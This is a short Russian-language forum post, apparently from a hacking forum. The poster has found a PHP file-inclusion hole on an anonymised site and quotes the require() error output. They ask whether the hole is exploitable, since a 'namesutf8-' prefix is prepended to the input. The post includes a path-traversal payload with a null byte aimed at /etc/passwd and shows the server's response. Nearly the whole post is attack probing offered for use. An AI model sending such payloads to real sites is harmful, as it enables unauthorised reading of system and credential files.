Нешел другой инклуд:

http://site/patch/index.php?X=G&F=blalalal

Warning: require(namesutf8-blalalal) [function.require]: failed to open stream: No such file or directory in /x/x/x/x/x/x/index.php on line 37

Warning: require(namesutf8-blalalal) [function.require]: failed to open stream: No such file or directory in /x/x/x/x/x/x/index.php on line 37

Fatal error: require() [function.require]: Failed opening required 'namesutf8-blalalal' (include_path='.:') in /x/x/x/x/x/x/index.php on line 37

как я понимаю тоже бесполезный?

при изменеии переменной в ошибке оставется часть namesutf8-

Т.Е. при http://site/patch/index.php?X=G&F=../../../../../../../../etc/passwd%00

вылазит:

Warning: require(namesutf8-../../../../../../../../etc/passwd)